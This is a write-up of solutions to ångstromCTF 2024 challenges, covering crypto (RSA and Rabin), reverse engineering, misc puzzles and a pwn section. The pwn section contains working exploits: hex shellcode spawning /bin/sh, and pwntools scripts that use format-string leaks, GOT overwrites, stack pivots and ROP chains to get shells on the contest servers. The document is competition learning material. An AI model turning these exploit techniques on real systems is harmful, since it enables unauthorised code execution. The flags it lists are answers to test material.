## ångstromCTF_2024 : https://angstromctf.com/



## MICS
### kcehC ytinaS
)csim# ni cipot lennahc eht s'ti( galf eht rof drocsiD ruo nioJ
_as it said in reverse, join the discord server to get the flag, the flag is in the #misc topic.
}egassem_terces_ym_edoced_uoy_did_woh{ftca
_Then you just need to reverse the character and get the flag
> Flag: actf{how_did_you_decoded_my_secret_message}
### Putnam
Solve the putnam, get the flag. Easy right?
Connect to it at nc challs.actf.co 31337
_This challenge is easy, you just need to solve an math problem

> Flag: actf{just_a_tad_easier_than_the_actual_putnam}
### Trip:
What road was this this photo taken on?
For example, if the road was "Colesville Road" the flag would be actf{colesville}.
_For this challenge, you just need to exif the picture to get the gps location:

_We see that it is in Chincoteague road.
> Flag: actf{chincoteague}
### Aw man:
- I based on the title to know that there is something was hidden in the picture.
- Using tool `steghide` to check:

- I found a .txt file in this pic and the passphrase is white space. I get this file by steghide.

- An encrypt text was extracted. Use cybercheft to decrypt.

`Flag: actf{crazy?_i_was_crazy_once}`
### Do you wanna build a snow man:
- A picture is corrupted, check it's hex!


- As I guess, the header of this pic was wrong. The correct once is: `FF D8 FF E0 00 10 4A 46 49 46 ` . Fix it and we get the flag!


`Flag: actf{built_the_snowman}`
## Crypto
### Erm what the enigma

This challenge is a story about the enigma machine, and the string brht{d_imhw_cexhrmwyy_lbvkvqcf_ldcz} is generated from it. We need to understand how this machine works to find the flag. Luckily, there is a website that helps us decode the string from enigma: https://www.dcode.fr/enigma-machine-cipher

`Flag: `actf{i_love_enigmatic_machines_mwah}
### PHIlosophy

Code:
```python!
from Crypto.Util.number import getPrime
from secret import flag
p = getPrime(512)
q = getPrime(512)
m = int.from_bytes(flag.encode(), "big")
n = p * q
e = 65537
c = pow(m, e, n)
phi = (p + 1) * (q + 1)
print(f"n: {n}")
print(f"e: {e}")
print(f"c: {c}")
print(f"\"phi\": {phi}")
"""
n: 86088719452932625928188797700212036385645851492281481088289877829109110203124545852827976798704364393182426900932380436551569867036871171400190786913084554536903236375579771401257801115918586590639686117179685431627540567894983403579070366895343181435791515535593260495162656111028487919107927692512155290673
e: 65537
c: 64457111821105649174362298452450091137161142479679349324820456191542295609033025036769398863050668733308827861582321665479620448998471034645792165920115009947792955402994892700435507896792829140545387740663865218579313148804819896796193817727423074201660305082597780007494535370991899386707740199516316196758
"phi": 86088719452932625928188797700212036385645851492281481088289877829109110203124545852827976798704364393182426900932380436551569867036871171400190786913084573410416063246853198167436938724585247461433706053188624379514833802770205501907568228388536548010385588837258085711058519777393945044905741975952241886308
"""
```
This challenge is an RSA challenge, but we don't know $p$ and $q$ yet, even when using factordb to factor n into prime factors. But we can find it by transforming the expressions:
$$phi=(p+1)*(p+1)=pq+p+q+1$$
Because we know $n=pq$ and $phi$, we know $p+q$
$$p+q=phi-n-1$$
Now we have $p+q$ and $pq$, applying Viete's theorem we have $p,q$ is the solution of the equation:
$$x^2-(p+q)x+pq=0$$
Solving the quadratic equation to find p and q, we will find the flag like the RSA lessons have done
Code:
```python!
from Crypto.Util.number import long_to_bytes
import gmpy2
n = 86088719452932625928188797700212036385645851492281481088289877829109110203124545852827976798704364393182426900932380436551569867036871171400190786913084554536903236375579771401257801115918586590639686117179685431627540567894983403579070366895343181435791515535593260495162656111028487919107927692512155290673
e = 65537
c = 64457111821105649174362298452450091137161142479679349324820456191542295609033025036769398863050668733308827861582321665479620448998471034645792165920115009947792955402994892700435507896792829140545387740663865218579313148804819896796193817727423074201660305082597780007494535370991899386707740199516316196758
phi = 86088719452932625928188797700212036385645851492281481088289877829109110203124545852827976798704364393182426900932380436551569867036871171400190786913084573410416063246853198167436938724585247461433706053188624379514833802770205501907568228388536548010385588837258085711058519777393945044905741975952241886308
sum = phi - n - 1
delta = sum**2 - 4*n
p = (sum + gmpy2.iroot(delta,2)[0])//2
q = sum - p
phi = (p-1)*(q-1)
d = pow(e,-1,phi)
flag = pow(c,d,n)
print(long_to_bytes(flag))
```
```
Flag: actf{its_okay_i_figured_out_phi_anyway}
```
### Layers

I love this one
Code:
```python!
import hashlib
import itertools
import os
def xor(key, data):
return bytes([k ^ d for k, d in zip(itertools.cycle(key), data)])
def encrypt(phrase, message, iters=1000):
key = phrase.encode()
for _ in range(iters):
key = hashlib.md5(key).digest()
message = xor(key, message)
return message
print('Welcome to my encryption service!')
print('Surely encrypting multiple times will make it more secure.')
print('1. Encrypt message.')
print('2. Encrypt (hex) message.')
print('3. See encrypted flag!')
phrase = os.environ.get('FLAG', 'missing')
choice = input('Pick 1, 2, or 3 > ')
if choice == '1':
message = input('Your message > ').encode()
encrypted = encrypt(phrase, message)
print(encrypted.hex())
if choice == '2':
message = bytes.fromhex(input('Your message > '))
encrypted = encrypt(phrase, message)
print(encrypted.hex())
elif choice == '3':
print(encrypt(phrase, phrase.encode()).hex())
else:
print('Not sure what that means.')
```
So the server will give us 1 out of 3 Encrypt message or Encrypt flag. I noticed the Encrypt flag never change so it's giving us two infomation one constantly change.
When i try to encrypt my message 'actf{' it returns the same value as the prefix of the encrypt flag so all i should do is brute force. I also calculate the length of the flag is 38 and every 2 bits is one character.
**script:**
```python!
from pwn import *
def check_prefix(prefix):
r = remote('challs.actf.co', 31398)
response = r.recvuntil(b'Pick 1, 2, or 3 > ')
r.sendline(b'1')
response = r.recvuntil(b'Your message > ')
r.sendline(prefix)
response = r.recvline()
r.close()
return response.strip()
enc = "fb7fdbf9e714a08ce9cdf109bb527acba27accfeff16fcdcb1cdf358bb557898aa2d9da9af5c"
prefix_length = 10 # Chiều dài của phần đã biết 'actf{'
flag = ['actf{593a7043ca58fcac7ec972e3dcf01263}']
found = b'actf{'
alphabet = "_0123456789abcdefghijklmnopqrstuvwxyz" # Bảng chữ cái và dấu gạch dưới
tim = 2
for i in range(38):
for char in alphabet:
prefix = found + bytes([ord(char)])
result = check_prefix(prefix)
log.info(result)
log.info(enc[:prefix_length + tim])
if result.decode()== enc[:prefix_length + tim]:
found = found + bytes([ord(char)])
flag.append(char)
tim = tim+2
break
log.info(found)
flag.append("}")
print("".join(flag))
#fb7fdbf9e714
#fb7fdbf9e714
```
flag: **actf{593a7043ca58fcac7ec972e3dcf01263}**
### Random rabin

```python!
from random import SystemRandom
from Crypto.Util.number import getPrime
from libnum import xgcd
random = SystemRandom()
def primegen():
while True:
p = getPrime(512)
if p % 4 == 3:
return p
def keygen():
p = primegen()
q = primegen()
n = p * q
return n, (n, p, q)
def encrypt(pk, m):
n = pk
return pow(m, 2, n)
def decrypt(sk, c):
n, p, q = sk
yp, yq, _ = xgcd(p, q)
mp = pow(c, (p + 1)//4, p)
mq = pow(c, (q + 1)//4, q)
s = yp * p * mq % n
t = yq * q * mp % n
rs = [(s + t) % n, (-s - t) % n, (s - t) % n, (-s + t) % n]
r = random.choice(rs)
return r
def game():
pk, sk = keygen()
print(f'pubkey: {pk}')
secret = random.randbytes(16)
m = int.from_bytes(secret, 'big')
print(f'plaintext: {decrypt(sk, encrypt(pk, m))}')
guess = bytes.fromhex(input('gimme the secret: '))
return guess == secret
if __name__ == '__main__':
for _ in range(64):
success = game()
if not success:
exit()
with open('flag.txt') as f:
flag = f.read().strip()
print(flag)
```
Rabin cryptosystem: https://en.wikipedia.org/wiki/Rabin_cryptosystem
We got one of the four roots and we know that x^2 = m mod n. It's easy to know encrypt m mod n but how can we calculate m from m^2(mod n). I noticed that n is very big compare to m so I just do the square root.
Script:
```python!
#!/usr/bin/env python3
from pwn import *
from Crypto.Util.number import long_to_bytes
import gmpy2
def recv():
r = remote('challs.actf.co', 31300)
for i in range(64):
r.recvuntil(b'pubkey: ')
text = r.recvuntil(b'plaintext: ')
t = text.split(b'\n')[0]
response = r.recvuntil(b'gimme the secret: ')
# Tách phần plaintext từ response
res = response.split(b'\n')[0]
x = int(res.decode())
n = int(t.decode())
#log.info (x)
#log.info (n)
m2 = (pow(x,2,n))
m = int(gmpy2.isqrt(gmpy2.mpz(m2)))
flag = m.to_bytes((m.bit_length() + 7) // 8, byteorder='big')
r.sendline(flag.hex())
if i == 63:
f1 = r.recvuntil(b'actf{')
f2 = r.recvuntil(b'}')
log.info(f1,f2)
print('yes')
r.close()
#actf{f4ncy_squ4re_r00ts_53a370c33f192973}
recv()
```
#### **BLAHAJ**
**Disclaimer**: I didn't solve this challenge all i do is combine writeups and instructions on discord in order to understand how to solve this.
credit: https://connor-mccartney.github.io/cryptography/rsa/BLAHAJ-angstrom-CTF-2024?fbclid=IwAR1f9sJ0sm0Sv4rDTxF1RzA03TiExxc0LDCAOGqmmnnGgeiGx629-f31hSE
```PR.<p, q, n, a, b, x, y> = PolynomialRing(ZZ)
f1 = p*q - n
f2 = p + b*q - x
f3 = q + a*p - y
for eq in Ideal([f1, f2, f3]).groebner_basis():
print(eq)
```
```
n*a*b + q*x + p*y - x*y - n #we will use this equation
p^2 + n*b - p*x
p*q - n
q^2 + n*a - q*y
p*a + q - y
q*b + p - x
```
$$x = b*q + p$$ $$=>q*x = bq^2 + pq = bq^2 + n(1)$$
$$y = a*p + q$$ $$=> p*y = ap^2+ pq = ap^2 + n(2)$$
*We also have*
$$n*a*b + q*x + p*y - x*y - n = 0$$
$$=>x*y = n*a*b + q*x + p*y - n (3)$$
from (1),(2) and (3) we have:
$$xy = n*ab + bq^2 + ap^2 + 2n - n$$
then we mod both side with n
$$<=> x*y (mod n) = bq^2 + ap^2 (4)$$
so we from (1),(2) and (4) we can say x*y (mod n) == q*x + p*y (mod n)
=> p = (x*y - q*x)/y = x - q(x/y)
Script:
```python!
from sage.all import *
c=2084015642966578282323320320430355169303796428932452813616522534642993911885394832889877216337047505539910273209203092431502448659110975363836148150333450975665054754794923282649866834797382152974537871637107602980242305752842881056832372729032719323542397731147821640234181272537527934691830138813076673120558790685225545176722374373891797444430162049094331866632430714818874728168815552807267537023134887147693780578518721495129472480845244586874832711656372700340333956532029558890132512276495501200465374040059705096729628227299657939763878581814774444365099164760074348408594002376240830368408586554430584367239
n=5054759650831149212497593612117505449996534385400799412730981223889391367155509695417999090910848750197375100341995228567935542100150279063805945642486626676563744817810946769932250256245882026085508665771131635110277852237029849869509707637709162425864373201102790718464450861787668024958787992996715870537273213999452948215564503811414448019655761914535646338206972306327692776792357656461421160012732874929753400746379737081861110621084719920237555759371086828748564360804144357313056202764375401039317055078455329940265973052825170224804217772389893623634664438855142967283765161646402518311874260437023116525027
x=14624164038828170251441254789590748299059493407127408167381909039718004816732842597998978394090418984661609925783012574638050052448399168193536431334288702858151820090630198056959727167341057230779720998603705567821824977324339182361973824850629918120718796161913475916523630822110582289148982548632694537423158073771024615682852893559402668337273941915650824074226258103607152649283649471317242038305999409041659019944804416273274057125302350242520142492153556081164794428695882962406952831655367215074021698796576010502956218034153621531037983312180680329891048894826768653762528273739711501728033951545847806707848
y=1510897008373983998701686017209922960816127339466860789588606160332147878962564913406764611385229470849971288077374239278171471973749602656414838820558074700119192355231338991849403695036849047083282822255108161230346034624768585764808760248402952634113444599722515269998684427399124583405247144573527109975222081257008029790260559860849979421716752798127739488994858649526260912935259888277927955180906055358279957687314992052797112774530972530343550573798533793482820201610887225201749606682312677680359451371010180070950980849389904579670739506805226809592052548210734843148295456283103192907412693805696885095055
lll=matrix(ZZ,[
[1,0,x/-mod(y,n)],
[0,n,x],
[0,0,n],
]).LLL()
pari.addprimes(vector([-5,0,1])*lll)
print(int(mod(c,n).nth_root(65537)).to_bytes(128,'big'))
```
## Reverse
### Guess the flag
Code:
``` c
int __fastcall main(int argc, const char **argv, const char **envp)
{
char *v3; // rbx
char _0[72]; // [rsp+0h] [rbp+0h] BYREF
unsigned __int64 vars48; // [rsp+48h] [rbp+48h]
vars48 = __readfsqword(0x28u);
puts("Go ahead, guess the flag: ");
v3 = _0;
fgets(_0, 0x3F, stdin);
while ( strlen(_0) > v3 - _0 )
{
*v3++ ^= 1u;
}
if ( !strcmp(_0, "`bugzbnllhuude^un^uid^md`ru^rhfohghb`ou^chu|") )
{
puts("Correct! It was kinda obvious tbh.");
}
else
{
puts("Wrong. Not sure why you'd think it'd be that.");
}
return 0;
}
```
As we can see it will take our input and xor with '1' then strcmp with a string so all we do is xor that string with 1.
**script:**
``` python
enc = b'`bugzbnllhuude^un^uid^md`ru^rhfohghb`ou^chu|'
key = 1
flag = [chr(i^key) for i in enc]
print("".join(flag))
```
flag: **actf{committed_to_the_least_significant_bit}**
### switcher
This one is easy because we can see the flag check right away.
```c
void __fastcall sub_5540(_BYTE *a1)
{
_BYTE *v1; // rdi
_BYTE *v2; // rdi
_BYTE *v3; // rdi
_BYTE *v4; // rdi
_BYTE *v5; // rdi
_BYTE *v6; // rdi
_BYTE *v7; // rdi
_BYTE *v8; // rdi
_BYTE *v9; // rdi
_BYTE *v10; // rdi
_BYTE *v11; // rdi
_BYTE *v12; // rdi
_BYTE *v13; // rdi
_BYTE *v14; // rdi
_BYTE *v15; // rdi
_BYTE *v16; // rdi
_BYTE *v17; // rdi
_BYTE *v18; // rdi
_BYTE *v19; // rdi
_BYTE *v20; // rdi
_BYTE *v21; // rdi
_BYTE *v22; // rdi
_BYTE *v23; // rdi
_BYTE *v24; // rdi
_BYTE *v25; // rdi
_BYTE *v26; // rdi
_BYTE *v27; // rdi
_BYTE *v28; // rdi
_BYTE *v29; // rdi
_BYTE *v30; // rdi
_BYTE *v31; // rdi
_BYTE *v32; // rdi
_BYTE *v33; // rdi
_BYTE *v34; // rdi
_BYTE *v35; // rdi
_BYTE *v36; // rdi
if ( *a1 == 0x6A )
{
v36 = a1 + 1;
if ( *v36 == 0x75 )
{
v35 = v36 + 1;
if ( *v35 == 0x6D )
{
v34 = v35 + 1;
if ( *v34 == 0x70 )
{
v33 = v34 + 1;
if ( *v33 == 0x69 )
{
v32 = v33 + 1;
if ( *v32 == 0x6E )
{
v31 = v32 + 1;
if ( *v31 == 0x67 )
{
v30 = v31 + 1;
if ( *v30 == 0x5F )
{
v29 = v30 + 1;
if ( *v29 == 0x6D )
{
v28 = v29 + 1;
if ( *v28 == 0x79 )
{
v27 = v28 + 1;
if ( *v27 == 0x5F )
{
v26 = v27 + 1;
if ( *v26 == 0x77 )
{
v25 = v26 + 1;
if ( *v25 == 0x61 )
{
v24 = v25 + 1;
if ( *v24 == 0x79 )
{
v23 = v24 + 1;
if ( *v23 == 0x5F )
{
v22 = v23 + 1;
if ( *v22 == 0x74 )
{
v21 = v22 + 1;
if ( *v21 == 0x6F )
{
v20 = v21 + 1;
if ( *v20 == 0x5F )
{
v19 = v20 + 1;
if ( *v19 == 0x74 )
{
v18 = v19 + 1;
if ( *v18 == 0x68 )
{
v17 = v18 + 1;
if ( *v17 == 0x65 )
{
v16 = v17 + 1;
if ( *v16 == 0x5F )
{
v15 = v16 + 1;
if ( *v15 == 0x66 )
{
v14 = v15 + 1;
if ( *v14 == 0x6C )
{
v13 = v14 + 1;
if ( *v13 == 0x61 )
{
v12 = v13 + 1;
if ( *v12 == 0x67 )
{
v11 = v12 + 1;
if ( *v11 == 0x5F )
{
v10 = v11 + 1;
if ( *v10 == 0x6F )
{
v9 = v10 + 1;
if ( *v9 == 0x6E )
{
v8 = v9 + 1;
if ( *v8 == 0x65 )
{
v7 = v8 + 1;
if ( *v7 == 0x5F )
{
v6 = v7 + 1;
if ( *v6 == 0x62 )
{
v5 = v6 + 1;
if ( *v5 == 0x79 )
{
v4 = v5 + 1;
if ( *v4 == 0x5F )
{
v3 = v4 + 1;
if ( *v3 == 0x6F )
{
v2 = v3 + 1;
if ( *v2 == 0x6E )
{
v1 = v2 + 1;
if ( *v1 == 0x65 )
{
sub_1200(v1 + 1);
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
```
flag: **actf{jumping_my_way_to_the_flag_one_by_one}**
### Polyomino
Ok this one is hard tbh ;(
**code**:
```c
__int64 __fastcall main(int a1, char **a2, char **a3)
{
__int64 v3; // rdx
__int64 v4; // rdi
__int64 v5; // r11
__int64 *v6; // r10
int v7; // esi
__int64 v8; // rcx
__int64 *v9; // rax
__int64 v10; // rdx
__int64 v11; // rdx
unsigned __int64 v12; // r9
int v13; // eax
char *v14; // rbx
_BYTE *v15; // rbp
unsigned __int8 v16; // di
__int64 v18[4]; // [rsp+0h] [rbp-78h] BYREF
char v19[26]; // [rsp+20h] [rbp-58h] BYREF
char v20[26]; // [rsp+3Ah] [rbp-3Eh] BYREF
char v21; // [rsp+54h] [rbp-24h] BYREF
unsigned __int64 v22; // [rsp+58h] [rbp-20h]
v22 = __readfsqword(0x28u);
__printf_chk(1LL, "I'm practicing my math skills. Give me nine integers: ", a3);
__isoc99_scanf(
"%d %d %d %d %d %d %d %d %d",
&dword_5640A84240A0 + 0xFFFFFFF8,
&dword_5640A84240A0 + 0xFFFFFFF9,
&dword_5640A84240A0 + 0xFFFFFFFA,
&dword_5640A84240A0 + 0xFFFFFFFB,
&dword_5640A84240A0 + 0xFFFFFFFC,
&dword_5640A84240A0 + 0xFFFFFFFD,
&dword_5640A84240A0 + 0xFFFFFFFE,
&dword_5640A84240A0 + 0xFFFFFFFF,
&dword_5640A84240A0);
__printf_chk(1LL, "Hmm, let me think", v3);
fflush(stdout);
usleep(0x493E0u);
putchar(0x2E);
fflush(stdout);
usleep(0x493E0u);
putchar(0x2E);
fflush(stdout);
usleep(0x493E0u);
puts(".");
usleep(0x7A120u);
v4 = -60LL;
v5 = 0x400C0210000001LL;
do
{
v6 = &qword_5640A8424080;
v7 = 0;
v8 = 1LL;
v9 = &qword_5640A8424080;
do
{
v10 = *(int *)v9;
v9 = (__int64 *)((char *)v9 + 4);
v11 = v8 * v10;
v8 *= v4;
v7 += v11;
}
while ( &unk_5640A84240A4 != (_UNKNOWN *)v9 );
if ( (_DWORD)v4 == 0x2C
|| (_DWORD)v4 == 0x3A
|| (v12 = (unsigned int)(v4 + 0x25), (unsigned int)v12 <= 0x36) && _bittest64(&v5, v12) )
{
if ( v7 )
{
LABEL_x388:
puts("Those aren't the right numbers. Try again!");
return 1LL;
}
}
else if ( !v7 )
{
goto LABEL_x388;
}
++v4;
}
while ( v4 != 0x3C );
if ( dword_5640A84240A0 != 1 )
{
do
{
v13 = *(_DWORD *)v6;
v6 = (__int64 *)((char *)v6 + 4);
v11 = (unsigned int)(v13 >> 0x1F);
LODWORD(v11) = v13 % dword_5640A84240A0;
*((_DWORD *)v6 + 0xFFFFFFFF) = v13 / dword_5640A84240A0;
}
while ( v6 != (__int64 *)&unk_5640A84240A4 );
}
__printf_chk(1LL, "Correct! Here's the flag: ", v11);
v14 = v19;
v18[0] = qword_5640A8424080;
v15 = &unk_5640A8424020;
v18[1] = qword_5640A8424088;
LOWORD(v18[2]) = dword_5640A8424090;
WORD1(v18[2]) = dword_5640A8424094;
WORD2(v18[2]) = dword_5640A8424098;
HIWORD(v18[2]) = dword_5640A842409C;
LOWORD(v18[3]) = dword_5640A84240A0;
qmemcpy(v19, v18, sizeof(v19));
qmemcpy(v20, v18, sizeof(v20));
do
{
v16 = *v15++ ^ *v14++;
v14[0xFFFFFFFF] = v16;
putchar(v16);
}
while ( &v21 != v14 );
putchar(0xA);
return 0LL;
}
```
this function will take 9 intgers (a1..a9) from the inputs, then do some math...
There is v4 which is -60 it will increase until v4!=0x3C which is 58 (v4 value will be x) we have to do this equation with each v4 value.
v7 = x^0*a1 + x^1*a2 ... x^8*a9 (1)
We don't need to solve this polynomials, we've already had the zeros of the polynomials, which is roots = [-37,-9,-4, 5, 6, 44, 58, 17 ]. So the problem is its coefficients to know more about this read https://www.geeksforgeeks.org/relationship-between-zeroes-and-coefficients-of-a-polynomial/
we can express (1) like this (x+37)*(x+9)*(x+4)*(x-5)*(x-6)*(x-44)*(x-58)*(x-17)
Here is the script:
```python!
import numpy as np
n = [1, -80, -358, 121272, -1364231, -12168520, 122783468, 134045088, -1733624640]
dem = 8
for i in range(9):
print(n[i+dem],end =" ")
dem = dem - 2
print('\n')
import sympy as sp
# Khai báo biến x
x = sp.symbols('x')
roots = [-37,-9,-4, 5, 6,44,58,17 ]
# Tạo đa thức từ các nghiệm
polynomial = sp.prod([x - r for r in roots])
# Thu gọn đa thức
polynomial = sp.expand(polynomial)
coefficients = sp.Poly(polynomial, x).all_coeffs()
# Hiển thị đa thức và các hệ số
print(polynomial)
print(coefficients)
```
## Pwn
### Presidential
#### Overall
```python=
#!/usr/local/bin/python
import ctypes
import mmap
import sys
import os
print("This process has the PID", os.getpid())
flag = "redacted"
print("White House declared Python to be memory safe :tm:")
buf = mmap.mmap(-1, mmap.PAGESIZE, prot=mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC)
ftype = ctypes.CFUNCTYPE(ctypes.c_void_p)
fpointer = ctypes.c_void_p.from_buffer(buf)
f = ftype(ctypes.addressof(fpointer))
u_can_do_it = bytes.fromhex(input("So enter whatever you want 👍 (in hex): "))
buf.write(u_can_do_it)
f()
del fpointer
buf.close()
print("byebye")
```
#### Only give the shellcode in hex to get the shell
```a=
lea rdi, [rip + binsh]
xor rax, rax
mov al, 0x3b
xor rsi, rsi
xor rdx, rdx
syscall
binsh:
.asciz "/bin/sh"
```
**488d3d0d0000004831c0b03b4831f64831d20f052f62696e2f736800**
### Bap
#### Overall
***Basic format string + ROP***



- **gets()** =))))
#### Approach
***Leak libc -> ovewrite return address to call main again -> ROP***

- So, I need to use index 29.
```python=
from pwn import *
import sys
context.log_level = 'debug'
context.binary = exe = ELF('./bap', checksec=False)
#libc = ELF('./libc.so.6', checksec=False)
libc = exe.libc
if len(sys.argv) == 2:
r = process(exe.path)
gdb.attach(r, gdbscript="""
b *main
b *main+47
b *main+64
b *main+86
""")
elif len(sys.argv) == 3:
r = remote('challs.actf.co', 31323)
else:
r = process(exe.path)
payload = b'|%29$p'
payload += b'a'*18
payload += p64(0x000000000040101a) #ret
payload += p64(exe.sym['main'])
r.sendlineafter(b': ', payload)
r.recvuntil(b'|')
__libc_start_call_main_128 = int(r.recvn(14), 16)
log.info("The address of __libc_start_call_main_128: " + hex(__libc_start_call_main_128))
libc.address = __libc_start_call_main_128 - 128 - 0x1dc0 - 0x28000
log.info("libc base: " + hex(libc.address))
system = libc.symbols['system']
binsh = next(libc.search(b'/bin/sh\x00'))
log.info("The address of libc: " + hex(libc.address))
poprdi_ret = libc.address + 0x000000000002a3e5
win = b'a'*24
win += p64(0x000000000040101a) #ret
win += p64(poprdi_ret)
win += p64(binsh)
win += p64(system)
r.sendlineafter(b': ', win)
r.interactive()
```
### Exam
#### Overall
It is the problem about number of integer.
```cpp=
int __fastcall main(int argc, const char **argv, const char **envp)
{
FILE *stream; // [rsp+8h] [rbp-E8h]
char v5[64]; // [rsp+10h] [rbp-E0h] BYREF
char s[152]; // [rsp+50h] [rbp-A0h] BYREF
unsigned __int64 v7; // [rsp+E8h] [rbp-8h]
v7 = __readfsqword(0x28u);
setbuf(stdout, 0LL);
printf("How much should I not trust you? >:)\n: ");
__isoc99_scanf("%d", &detrust);
fgets(s, 150, stdin);
if ( detrust >= 0 )
{
trust_level -= detrust;
if ( trust_level == threshold )
{
puts("What kind of cheating are you doing?");
puts("You haven't even signed your statement yet!");
puts("You are BANNED from all future AP exams!!!");
}
else
{
while ( trust_level < threshold )
{
puts("\nI don't trust you enough >:)");
printf("Prove your trustworthyness by reciting the statement on the front cover of the Section I booklet >:)\n: ");
fgets(s, 150, stdin);
if ( !strcmp(
s,
"I confirm that I am taking this exam between the dates 5/24/2024 and 5/27/2024. I will not disclose any "
"information about any section of this exam.\n") )
--trust_level;
}
stream = fopen("flag.txt", "r");
fgets(v5, 64, stream);
puts("\nYou will now take the multiple-choice portion of the exam.");
puts("You should have in front of you the multiple-choice booklet and your answer sheet. ");
printf("You will have %s minutes for this section. Open your Section I booklet and begin.\n", v5);
}
}
else
{
puts("Don't try to trick me into trusting you >:(");
}
return 0;
}
```

- **trust_level = 0**

- **threshold = 0x7ffffffe**
The flow of the program
- Check detrust >=0, if not exit()
- Then **trust_level -= detrust**, it means: **trust_level = -detrust**
- Call loop while(trust_level < threshold) if input string s match the string in the code above -> **--trust_level**.
- Finally, I get the flag
#### Bug
- **Number is signed.**
- So, i will input 0x7fffffff, so trust_level will: 0x80000001. After, it minus several times it will be 0x7fffffff
- Thus, I get the flag.
#### Script
```python=
from pwn import *
import sys
context.log_level = 'debug'
context.binary = exe = ELF('./exam', checksec=False)
if len(sys.argv) == 2:
r = process(exe.path)
gdb.attach(r, gdbscript="""
b *main
b *main+113
b *main+157
b *main+301
b *main+337
b *main+339
""")
elif len(sys.argv) == 3:
r = remote('challs.actf.co', 31322)
else:
r = process(exe.path)
r.sendafter(b': ', b'2147483647')
r.sendline(b'Hello')
try:
while True:
r.recvuntil(b'Prove your trustworthyness by reciting the statement on the front cover of the Section I booklet >:)\n:')
r.sendline(b'I confirm that I am taking this exam between the dates 5/24/2024 and 5/27/2024. I will not disclose any information about any section of this exam.')
except Exception as e:
pass
r.interactive()
```
### Og
#### Overall


The program allow me input one time. Then exit
#### Bug

```cpp=
unsigned __int64 go()
{
char s[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v2; // [rsp+28h] [rbp-8h]
v2 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
printf("kill $PPID; Enter your name: ");
fgets(s, 66, stdin);
printf("Gotta go. See you around, ");
printf(s);
return v2 - __readfsqword(0x28u);
}
```
***fmtstr + bof***
#### Approach
Because I only have one time to input, I must find the way to rewind the go function again. The approach is that I will overwrite the __stack_chk_fail@got.plt
Although I can use bof, the program limits max one gadget.
Therefore, I need to use technique stack pivot(leave ; ret) to pop the shell.
**fmtstr:** leak the canary, the libc and the stack.
**bof:** get the gadget.
#### Script
```python=
from pwn import *
import sys
context.log_level = 'debug'
context.binary = exe = ELF('./og', checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
if len(sys.argv) == 2:
r = process(exe.path)
gdb.attach(r, gdbscript="""
b *main
b *go+126
b *go+146
b *go+163
b *go+190
""")
elif len(sys.argv) == 3:
r = remote('challs.actf.co', 31312)
else:
r = process(exe.path)
def info(s):
return log.info(s)
#leak canary, leak libc, call main again
#offset_canary = 40
#%27$p|%13$p
#canary + ret
#input from %6$p
"""
pwndbg> disass 0x401070
Dump of assembler code for function __stack_chk_fail@plt:
0x0000000000401070 <+0>: endbr64
0x0000000000401074 <+4>: bnd jmp QWORD PTR [rip+0x2f9d] # 0x404018 <__stack_chk_fail@got.plt>
0x000000000040107b <+11>: nop DWORD PTR [rax+rax*1+0x0]
pwndbg> x/gx 0x404018
0x404018 <__stack_chk_fail@got.plt>: 0x0000000000401030
"""
payload_leak = b'|%33$p|%15$p||%46$p|%4451c'
payload_leak += b'%10$hn'
payload_leak += p64(0x404018) #overwritestackcheckfail.got
payload_leak += b'a'*16
r.sendlineafter(b'kill $PPID; Enter your name: ', payload_leak)
r.recvuntil(b'|')
canary_leak = int(r.recvn(18), 16)
r.recvuntil(b'|')
__libc_start_call_main_128 = int(r.recvn(14), 16)
r.recvuntil(b'||')
buf_stack_leak = int(r.recvn(14), 16) - 328
libc.address = __libc_start_call_main_128 - 0x1d90 - 0x28000
pop_rdi_ret = libc.address + 0x000000000002a3e5
binsh = next(libc.search(b'/bin/sh\x00'))
system = libc.symbols['system']
info("The address of buf leak: " + hex(buf_stack_leak))
info("Canary leak: " + hex(canary_leak))
info("The address of __libc_start_call_main_128: " + hex(__libc_start_call_main_128))
info("The address of libc: " + hex(libc.address))
info("pop_rdi_ret: " + hex(pop_rdi_ret))
info("binsh: " + hex(binsh))
info("system: " + hex(system))
payload = p64(pop_rdi_ret)
payload += p64(binsh)
payload += p64(system)
payload += b'b'*16
payload += p64(canary_leak)
payload += p64(buf_stack_leak - 0x40 - 0x8)
payload += p64(0x0000000000401253) #leave ; ret
r.sendlineafter(b'kill $PPID; Enter your name: ', payload)
r.interactive()
```
## Web
### Spinner
_First, look at the source code and you found the method to get the flag.

_Use burpsuite to change the method and you get the flag

> Flag: actf{b152d497db04fcb1fdf6f3bb64522d5e}